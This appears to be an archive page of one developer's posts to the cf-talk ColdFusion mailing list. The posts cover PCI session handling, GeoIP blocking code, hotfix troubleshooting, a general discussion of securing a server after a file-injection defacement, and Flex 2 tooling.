Justin, I don't think that would work though, depending on the level of compliance and the SAQ being completed I don't think any vendor will allow that exemption regardless of if credit card information is visible or not. If an attacker is allowed any access to a user session and can harvest any personally identifiable information it could affect security of any credit card entered into the site. Best Regards, Donnie Bachan Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. On Tue, Mar 6, 2012 at 2:41 PM, Justin Scott leviat...@darktech.org wrote: Justin, thanks for the reply, and I get your point, but I can't break out the registration process into a standalone site quickly. There must be a fairly quick solution to this problem. Surely, I can't be the first to deal with this. Another option might be to ask your scanning vendor for an exception to that scanning rule. If you can demonstrate to them that no credit card information is accessible through the user's account (e.g. the card number isn't visible anywhere, etc., and it really doesn't matter if the session is hijacked from the standpoint of credit card security) and explain the situation, they are generally willing to work with you on this kind of thing. Remember, their scanning rules are designed to cover the widest possible threat model. If you have specific needs that don't fit into that model but have compensating controls in place, it shouldn't be a problem (e.g. this used to be an issue with the incremental session IDs which the scanners check for, but paired with the random session token as a compensating control they would always make an exception for this rule when asked). -Justin Sco ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:350260 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: Failed PCI Compliance test on CF9.01
Hi Robert, I'm not sure if I'm missing something but shouldn't you have setClientCookies to Yes? Otherwise you'd have to pass the JSESSIONID in the url on each request. Best Regards, Donnie Bachan Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. On Tue, Mar 6, 2012 at 3:33 PM, Robert Rhodes rrhode...@gmail.com wrote: For both Phillip and Donnie -- I just set the site up for database storage for the client session in the cf admin (server settings - client variables), and I see data going in those two tables, but I am still losing the session state when moving from https to http. I have this set in my application.cfm: clientmanagement=Yes sessionmanagement=Yes setclientcookies=No clientstorage=MyDSN What am I doing wrong? ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:350268 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: GeoIP for Coldfusion?
Although this isn't a completely free solution we've used it with very good success without any updates for a while now. http://www.maxmind.com/app/geoip_features. If you are using it for just country level access for $50 it's not a bad investment. I've included some code for accessing checking the IP, once you have the database loaded. Please note that the java database is much, much faster than using the data in a database table. cffunction name=getIsBadIP access=public returntype=boolean output=false cfargument name=theIP default= required=false type=string / cfset var isBadIP = false / cfset var clientip = arguments.theIP / cfset var aIPParts = '' / cfset var iIPNum = '' / cfset var getIP = '' / cfset var getBlackListed = '' / !--- If no IP passed use CGI.REMOTE_ADDR if exists --- cfif not len(clientIP) cfif structKeyExists(CGI,REMOTE_ADDR) and len (CGI.REMOTE_ADDR) cfset clientip = CGI.REMOTE_ADDR / /cfif /cfif !--- Check that this is a valid country, if not no actions to be performed --- !--- Perform the GEOIP limiting --- !--- Check if the IP address is provided --- cfif len (clientIP) cfset aIPParts = listToArray(clientip, .) / cfif arrayLen(aIPParts) eq 4 and isNumeric(aIPParts[1]) and isNumeric(aIPParts[2]) and isNumeric(aIPParts[3]) and isNumeric(aIPParts[4]) cfset iIPNum = (aIPParts[1] * (256^3)) + (aIPParts[2] * (256^2)) + (aIPParts[3] * (256^1)) + (aIPParts[4]) / cfquery name=getIP datasource=#getDatasource()# SELECT TOP 1 country FROM GeoIP WHERE CAST(#iIPNum# AS bigint) between CAST(begin_num AS bigint) and CAST(end_num AS bigint) /cfquery !--- Check if the country is in the bad range --- cfif getIP.recordcount cfquery name=getBlackListed datasource=#getDatasource()# SELECT * FROM countryBlacklist WHERE country = cfqueryparam cfsqltype=cf_sql_varchar value=#getIP.country# / /cfquery cfif getBlackListed.recordcount cfset isBadIP = true / /cfif /cfif /cfif /cfif cfreturn isBadIP / /cffunction Hope this helps. Best Regards, Donnie Bachan Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. On Sun, Dec 25, 2011 at 5:56 AM, Phillip Vector vec...@mostdeadlygame.com wrote: Is there a server side solution for GeoIP that I can use? I'd like to make up some CF code that can detect when sites are connecting in areas we don't serve and direct them to a different page. Is there any (free) solutions for ColdFusion to detect where an IP is located? ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:349237 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: GeoIP for Coldfusion?
FYI, http://www.maxmind.com/app/geolitecity, best to check with them about your particular use case to ensure you are good to use the free version. Best Regards, Donnie Bachan Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. On Sun, Dec 25, 2011 at 4:18 PM, Phillip Vector vec...@mostdeadlygame.com wrote: *nods* I was looking for city and state actually. and it would need to be free. I can't drop $370 on this. On Sun, Dec 25, 2011 at 3:48 AM, Donnie Bachan (Gmail) donnie.bac...@gmail.com wrote: Although this isn't a completely free solution we've used it with very good success without any updates for a while now. http://www.maxmind.com/app/geoip_features. If you are using it for just country level access for $50 it's not a bad investment. I've included some code for accessing checking the IP, once you have the database loaded. Please note that the java database is much, much faster than using the data in a database table. cffunction name=getIsBadIP access=public returntype=boolean output=false cfargument name=theIP default= required=false type=string / cfset var isBadIP = false / cfset var clientip = arguments.theIP / cfset var aIPParts = '' / cfset var iIPNum = '' / cfset var getIP = '' / cfset var getBlackListed = '' / !--- If no IP passed use CGI.REMOTE_ADDR if exists --- cfif not len(clientIP) cfif structKeyExists(CGI,REMOTE_ADDR) and len (CGI.REMOTE_ADDR) cfset clientip = CGI.REMOTE_ADDR / /cfif /cfif !--- Check that this is a valid country, if not no actions to be performed --- !--- Perform the GEOIP limiting --- !--- Check if the IP address is provided --- cfif len (clientIP) cfset aIPParts = listToArray(clientip, .) / cfif arrayLen(aIPParts) eq 4 and isNumeric(aIPParts[1]) and isNumeric(aIPParts[2]) and isNumeric(aIPParts[3]) and isNumeric(aIPParts[4]) cfset iIPNum = (aIPParts[1] * (256^3)) + (aIPParts[2] * (256^2)) + (aIPParts[3] * (256^1)) + (aIPParts[4]) / cfquery name=getIP datasource=#getDatasource()# SELECT TOP 1 country FROM GeoIP WHERE CAST(#iIPNum# AS bigint) between CAST(begin_num AS bigint) and CAST(end_num AS bigint) /cfquery !--- Check if the country is in the bad range --- cfif getIP.recordcount cfquery name=getBlackListed datasource=#getDatasource()# SELECT * FROM countryBlacklist WHERE country = cfqueryparam cfsqltype=cf_sql_varchar value=#getIP.country# / /cfquery cfif getBlackListed.recordcount cfset isBadIP = true / /cfif /cfif /cfif /cfif cfreturn isBadIP / /cffunction Hope this helps. Best Regards, Donnie Bachan Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. On Sun, Dec 25, 2011 at 5:56 AM, Phillip Vector vec...@mostdeadlygame.com wrote: Is there a server side solution for GeoIP that I can use? I'd like to make up some CF code that can detect when sites are connecting in area ~| Order the Adobe Coldfusion Anthology
Re: URGENT: problem with latest hotfix
Did you ensure that all the old jar files referenced in point 5 were removed? You need to stop all the instances and remove the jar files, then attempt to restart. Best Regards, Donnie Bachan Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. On Wed, Dec 14, 2011 at 9:14 PM, John M Bliss bliss.j...@gmail.com wrote: Event Type: Error Event Source: ColdFusion 8 Application Server Event Category: None Event ID: 263 Date: 12/14/2011 Time: 2:59:12 PM User: N/A Description: The ColdFusion 8 Application Server service killed process with pid 6916 (no such PID running on server any longer). Event Type: Error Event Source: ColdFusion 8 Application Server Event Category: None Event ID: 261 Date: 12/14/2011 Time: 2:59:12 PM User: N/A Description: The ColdFusion 8 Application Server service could not be started within 240 seconds. Increase the server startup timeout value using C:\ColdFusion8\runtime\bin\jrunsvc.exe -starttimeout seconds ColdFusion 8 Application Server. On Wed, Dec 14, 2011 at 3:02 PM, Wil Genovese jugg...@trunkful.com wrote: what error? and read this on the subject of a patch failing http://www.trunkful.com/index.cfm/2011/3/7/When-the-Patch-Fails Also, if the Feb Security patch also broke CF 8.0.1 if HotFix 4 was not already applied. http://www.trunkful.com/index.cfm/2011/3/31/ColdFusion-Security-Update-Breaks-ColdFusion Wil Genovese Sr. Web Application Developer/ Systems Administrator CF Webtools www.cfwebtools.com wilg...@trunkful.com www.trunkful.com On Dec 14, 2011, at 2:59 PM, John M Bliss wrote: Following instructions for 8.01 here: http://kb2.adobe.com/cps/925/cpsid_92512.html ...and CF Server service is not starting back up. Anyone have any advice for me? -- John Bliss - http://about.me/jbliss ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:349146 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: URGENT: problem with latest hotfix
Out of curiousity, did you perform the steps in Section 1 or Section 2? Donnie Bachan Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. On Wed, Dec 14, 2011 at 9:26 PM, John M Bliss bliss.j...@gmail.com wrote: Yes. I (of course) did it quickly because I was attempting to keep downtime to a minimum: - click yes on the are you sure you want to delete dialog - see that files are gone - click start service On Wed, Dec 14, 2011 at 3:19 PM, Donnie Bachan (Gmail) donnie.bac...@gmail.com wrote: Did you ensure that all the old jar files referenced in point 5 were removed? You need to stop all the instances and remove the jar files, then attempt to restart. Best Regards, Donnie Bachan Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. On Wed, Dec 14, 2011 at 9:14 PM, John M Bliss bliss.j...@gmail.com wrote: Event Type: Error Event Source: ColdFusion 8 Application Server Event Category: None Event ID: 263 Date: 12/14/2011 Time: 2:59:12 PM User: N/A Description: The ColdFusion 8 Application Server service killed process with pid 6916 (no such PID running on server any longer). Event Type: Error Event Source: ColdFusion 8 Application Server Event Category: None Event ID: 261 Date: 12/14/2011 Time: 2:59:12 PM User: N/A Description: The ColdFusion 8 Application Server service could not be started within 240 seconds. Increase the server startup timeout value using C:\ColdFusion8\runtime\bin\jrunsvc.exe -starttimeout seconds ColdFusion 8 Application Server. On Wed, Dec 14, 2011 at 3:02 PM, Wil Genovese jugg...@trunkful.com wrote: what error? and read this on the subject of a patch failing http://www.trunkful.com/index.cfm/2011/3/7/When-the-Patch-Fails Also, if the Feb Security patch also broke CF 8.0.1 if HotFix 4 was not already applied. http://www.trunkful.com/index.cfm/2011/3/31/ColdFusion-Security-Update-Breaks-ColdFusion Wil Genovese Sr. Web Application Developer/ Systems Administrator CF Webtools www.cfwebtools.com wilg...@trunkful.com www.trunkful.com On Dec 14, 2011, at 2:59 PM, John M Bliss wrote: Following instructions for 8.01 here: http://kb2.adobe.com/cps/925/cpsid_92512.html ...and CF Server service is not starting back up. Anyone have any advice for me? -- John Bliss - http://about.me/jbliss ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:349148 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: URGENT: problem with latest hotfix
Out of curiosity, did you follow steps in Section 1 or Section 2? ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:349149 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: Question about hack
Hi Mark, I only mentioned cfexecute because of the permissions set on our specific case. Your info seems most likely. I did notice that there was a cfm file created with a call to cfexecute on the webroot so this should be a check as well. best regards Donnie On 4/13/09, Nick Gleason n.glea...@citysoft.com wrote: Donnie, Mark, Our research so far seems to support marks's analysis of this problem. There are still some unknowns here so that may change. But, changing your FTP accounts and setting your FTP server to ban IPs after a certain number of failed login attempts will prevent most brute force attempts on FTP. Our server admin didn't do that which appears to have been a mistake. Nick . -Original Message- From: Mark Kruger [mailto:mkru...@cfwebtools.com] Sent: Monday, April 13, 2009 1:14 PM To: cf-talk Subject: RE: Question about hack Donnie, I believe this is the same attack I have been helping another customer with and it does not appear to be related to CF. Instead, it appears to start with a malware install of some kind on the server (and possibly a root kit) and then progress to the creation of accounts and the changing of file permissions. Another theory gaining weight (and illustrating that we don't know much yet) is that this attack is an agent on a client computer that piggybacks onto FTP - which explains a few things but not everything. I'm guessing some combination at this point. Anyway, I agree that cfexecute is a dangerous tag that needs to be controlled, but it does not appear to be the cuprit. All of this advice is good, but the only place that CF comes into play on this particular hack happens to be the propensity to use index.cfm as the home page script. The attack targets index.* files and affects (on the server I am working with) Index.cfm, index.html and index.php etc. -Mark ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;207172674;29440083;f Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:321565 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Server Monitoring
I second Nagios. You can monitor the port required and get alerts by email or sms (if available) On 4/14/09, Mike Chabot mcha...@gmail.com wrote: Oops. You did mention that you run CF8. Have you explored the monitoring feature built into CF8 yet? -Mike Chabot On Tue, Apr 14, 2009 at 10:04 AM, Mike Chabot mcha...@gmail.com wrote: If your goal is to diagnose a mystery database issue that is a definite problem, I would use a database monitoring tool, such as MS SQL Profiler. Are you aware of the professional database monitoring tools, such as the ones Quest and Idera make? Where Web site monitoring of the database helps is to ensure that the Web server can connect to the database server, but that doesn't sound like the problem you are describing. What database are you running and what version of CF are you running? I ask about the CF version because CF8 has the query profiling feature built into it, although I would still favor a database query analysis tool if you know the problem is the database. -Mike Chabot On Tue, Apr 14, 2009 at 10:27 AM, Rob Parkhill robert.parkh...@gmail.com wrote: Good Day, Can't come up with a better title, so here is what I want to do. I have two servers, one DB and one web. My DB server is having MASSIVE issues at the moment. CPUs blowing up, and the server shutting down randomly, at night. I would like to use the webserver (with CF8) to monitor the status of the DB server, and was wondering what everyone thought was the best method? I was thinking of checking to see if the domain server (which is controlled by the DB server) was in existence, although I am not sure if that is possible with CF. The other thing I could test would be the connection to the database, but I can't seem to find the references to accessing the admin tools in CF8, where I thought that would be possible, so any resource direction would be much appreciated. Thanks, Rob ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;207172674;29440083;f Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:321573 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Question about hack
Hi Nick, I know this post is a bit late but to your original question, that attack is as a result of incorrect file/iis permissions and is not an XSS attack. I would even bet that you are on a shared server (at HMS) since one of my client sites had this exact same problem. The attacker would have gained access to the file system (possibly via FTP) and executed code that injected the code into all index.* files on the server (not just your hosting account). We have had a lot of problems trying to get this sorted out. It appears that the issue was with security related to the windows script host and/or CFEXECUTE. The only thing you can do to prevent this is work with your hosting provider to secure the system or move to a VPS or dedicated account and make sure your FTP accounts are secure. HTH Donnie Bachan Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. On Mon, Apr 13, 2009 at 1:30 PM, Richard White rich...@j7is.co.uk wrote: hi dave, i have scripts that write to the file system as well. what would i need to do to secure them, do you have a link that i could read in relation to this as i am a little lost as to what to do thanks We are having to scrub our files to remove the injected code (which is being written directly to the files as the result of the hack allowing FULL CONTROL for the Everyone user on the machine. Have you determined a solution for removing/preventing this? First, audit your code to find any scripts that can write to the filesystem. Second, audit your code to find any scripts that pass unfiltered user input to the database. Third, fix that code. Fourth, configure filesystem permissions properly to prevent CF or your database from writing to the web server's webroot. Dave Watts, CTO, Fig Leaf Software http://www.figleaf.com/ Fig Leaf Software provides the highest caliber vendor-authorized instruction at our training centers in Washington DC, Atlanta, Chicago, Baltimore, Northern Virginia, or on-site at your location. Visit http://training.figleaf.com/ for more information! ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;207172674;29440083;f Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:321551 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: CFEclipse with Aptana
Pete, I think for it to work correctly you need to enable line numbers in both places (General Editors Text Editors and within the CFEclipse Editor panels). I am using Eclipse with both Aptana and CFEclipse installed and was having a similar problem when one or the other was checked. I know that you are using the Aptana install with CFEclipse as a plugin but I don't think there is really a difference because the Aptana docs say that you have to enable line numbers by General Editors Text Editors (see http://www.aptana.com/docs/index.php/Displaying_or_hiding_line_numbers). If all else fails, you could always try it on a clean install with the latest updates. BTW, are you on Windows or Mac? HTH. Best Regards, Donnie On Feb 2, 2008 1:45 PM, Pete Ruckelshaus [EMAIL PROTECTED] wrote: I have tried a variety of combinations of checking, unchecking, and rechecking the line number options in both places, to no avail. Also, if I wasn't clear, I'm using the Aptana install and not Eclipse with the Aptana plugin. Pete On Feb 2, 2008 10:14 AM, James Davis [EMAIL PROTECTED] wrote: Pete, Make sure you check the Show Line Numbers under the CFEclipse options. That threw me off when i first started using it. In the Preferences, it's under CFEclipseEditor. If you're just checking under GeneralEditorsText Editors, that Show Line Numbers option will not show line numbers in CFM pages. James Davis Kaleida Systems From: Pete Ruckelshaus [mailto:[EMAIL PROTECTED] Sent: Sat 2/2/2008 9:38 AM To: CF-Talk Subject: CFEclipse with Aptana I've been using Aptana (http://www.aptana.org/) with my students in my web design class (I teach in a public school district and didn't inherit any budget for software, Aptana is both free and very very good). I've actually grown to prefer it over HomeSite+ for HTML, JS, and CSS; it's based on Eclipse, so you can install Eclipse plug-ins -- including cfeclipse -- with no problem. The only thing that's keeping me from using it for all of my ColdFusion development is that for some reason, I can't get line numbers to show when editing CFM files, and the show line numbers setting in the settings applet won't save the setting. Has anyone else encountered this issue, and if so, is there a fix? Thanks, Pete ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:298004 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Upload progress bar
George, I agree with the idea of just displaying some sort of animation, if something is taking too long you can always say still working...hang on! but the entire idea is to give the user an indicator letting them know that something is happening and the upload hasn't died. You will need to include proper error handling and timeouts. It really isn't something you want to spend hours on because in the end it really isn't that important to show that 10 MBs out of 100MBs have been uploaded (and if you are uploading something that big via the browser I would discourage that! IMHO). Will, Why limit yourself: http://www.ajaxload.info/ we Best Regards, Donnie On Feb 2, 2008 11:35 AM, Will Tomlinson [EMAIL PROTECTED] wrote: I went ahead and put up a gif I use. http://wtomlinson.com/wait30.gif HTH, Will ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:298008 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Dynamic JS
This article provides a function that you can use to enable javascript on the xml response (xml or text). It also outlines the limitations of this approach. http://rabaix.net/index.php/en/articles/issues_developing_ajax_libraries HTH On 2/7/07, Brad Wood [EMAIL PROTECTED] wrote: If I am returning HTML via an Ajax call to stick in my page, JavaScript functions aren't available for me to call, and other inline JavaScript doesn't get executed. What is the solution for this? I am retro-fitting an existing site and trying to inner html existing pages WITHOUT re-writing them. Is there a way to get the browser to run the JavaScript I just added as if the page had just loaded? Thanks. ~Brad ~| Upgrade to Adobe ColdFusion MX7 Experience Flex 2 MX7 integration create powerful cross-platform RIAs http:http://ad.doubleclick.net/clk;56760587;14748456;a?http://www.adobe.com/products/coldfusion/flex2/?sdid=LVNU Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:269094 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: OT: Fatal windows crash
Mike, Try ERD Commander from Winternals http://www.winternals.com/Products/AdministratorsPak/Default.aspx#erdcommander2005 This allows you to boot into the dead system and copy data off of it, I have been very successful with it. HTH. Best Regards, -- Donnie Bachan Website: http://www.que7.com Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. ~| Message: http://www.houseoffusion.com/lists.cfm/link=i:4:234131 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
Re: Flex 2 and Ben Forta
Rick, You need to see what Flex Builder does. If Ben makes it to an Users Group near you go see the presentation. I am pretty old fashioned, I don't use many visual tools unless I have to, so I still develop in Homesite and Eclipse but after seeing Flex Builder 2 I am now a big fan and starting to put aside cash for this. You will have to code the actions for the interface but things that would take a flash developer hours or days to do you can now do in minutes. Visit labs.adobe.com and download the beta and you too will become a believer! ;-) -- Donnie Bachan Website: http://www.que7.com Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. ~| Message: http://www.houseoffusion.com/lists.cfm/link=i:4:233882 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
Re: Flex 2 and Ben Forta
I think we need to remember that there has been no set pricing on the tool yet. Ben noted that it could be under $1000 and that could mean anything from $1 - $999 even though I think it will be on the higher end. The fact of the matter is that if you decide that you like what the tool does and how it works you will fork over the money. I personally think it is worth the investment. Adobe will, I assume, allow you to download a trial when the final version is shipped so you can test it out. From Ben's presentation in NYC, Adobe was working on some RDS functionality as well that may be contributed to Eclipse or just be part of the Flex Builder tool, that alone in my opinion is worth it's weight in gold. Not everyone is going to like the product, some people hate Dreamweaver while other swear by it, you can't please everyone but there is nothing else at present that can accomplish what this tool will deliver when released. That is the bottom line and Adobe will price it accordingly for their target audience. If you don't like the product and want to either build one or hand code everything you can do so also since the XML style markup is quite easy to use but again, it's up to you if you prefer to spend 100 hrs hand coding it versus using the visual tool. I really think that all the AJAX talk is going to quiet down a bit when Flex is released. Just my 2 cents. On 3/2/06, Andy Matthews [EMAIL PROTECTED] wrote: So what about those of us who just don't like Eclipse? I've tried it several times and each time I return to my copy of Editplus wondering what all of you are raving about. I'm now knocking it, or you Dave, but it I don't care WHAT it can do, the fact is that it's competing against other stuff that can do the same thing and some of those options are free. It just seem a little excessive for Adobe to charge $999. Why not $500? Or even $600. !//-- andy matthews web developer ICGLink, Inc. [EMAIL PROTECTED] 615.370.1530 x737 --//- -Original Message- From: Dave Watts [mailto:[EMAIL PROTECTED] Sent: Thursday, March 02, 2006 9:57 AM To: CF-Talk Subject: RE: Flex 2 and Ben Forta I do still think it's a bit of a cheek to charge the equivalent of a full app suite (or a new PC for that matter) for a plugin - no matter how wonderful it is. As to whether it would save me time/money thats a moot point. Flex 2 is not the only option out there, and wearing either of my hats (as an independent developer or as a member of a large dev team working for a not for profit) $1000 is a lot to spend per seat - especially as we would probably need the server as well. I don't really understand why it matters whether it's a plugin or a full app suite. What matters to me is what it allows you to do. I'd much rather pay $1000 for FlexBuilder as a plugin to Eclipse, which is somewhat of a known quantity, than have Adobe spend time and developer resources to build an entire IDE from scratch. They'd have to charge more for it just to cover their costs, and it probably wouldn't be nearly as good. And again, the only thing that should matter is whether it helps you deliver better applications faster, at least enough to offset the per-seat cost! And yes, Flex 2 is not the only option out there. But it's fundamentally different from the other options that are available. Based on what I've seen so far, I think it's quite a bit better than the other options. In my opinion, AJAX is hardly comparable to Flex 2 - and I've been working with AJAX (and AJAXish predecessor) applications for a long, long time. You don't need to listen to me, though. Download the open beta and see for yourself! I am interested in Flex2, I am also interested in Ajax and several other options - money will be a big part of any decisions made. To set up 2 servers and 12 developers to use Flex might be a very significant outlay. According to my understanding, you don't necessarily have to purchase any server component at all. You can use Flex to talk to CF applications, web services, etc. without any server component. The optional server component is very impressive, though - it provides some very useful pieces of functionality, like the ability to tie into JMS very easily. As for your not-for-profit development team, Adobe may offer alternative pricing for different sorts of organizations, so you may be able to get it cheaper than I can. Dave Watts, CTO, Fig Leaf Software http://www.figleaf.com/ Fig Leaf Software provides the highest caliber vendor-authorized instruction at our training centers in Washington DC, Atlanta, Chicago, Baltimore, Northern Virginia, or on-site at your location. Visit http://training.figleaf.com/ for more information! ~| Message: http://www.houseoffusion.com/lists.cfm/link=i:4:233951 Archives:
Re: Flex 2 and Ben Forta
I wonder, however, since many cutting edge developers tend to be college students who have no money and are out to see what they can do, how CF would compete if it were free or at least less expensive... Maybe Adobe can release a tool for creating a portable archive file (war/ear/jar) that you can just dump into a free J2EE server.similar to what they are doing with Flex. It is already possible with the enterprise version of CF. A free version of this tool may give some of those new developers incentive to develop in it since they will not need to pay for the server . -- Donnie Bachan Website: http://www.islandwizards.com Blog: http://angrytrini.blogspot.com Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. ~| Message: http://www.houseoffusion.com/lists.cfm/link=i:4:233993 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
Re: Google Analytics
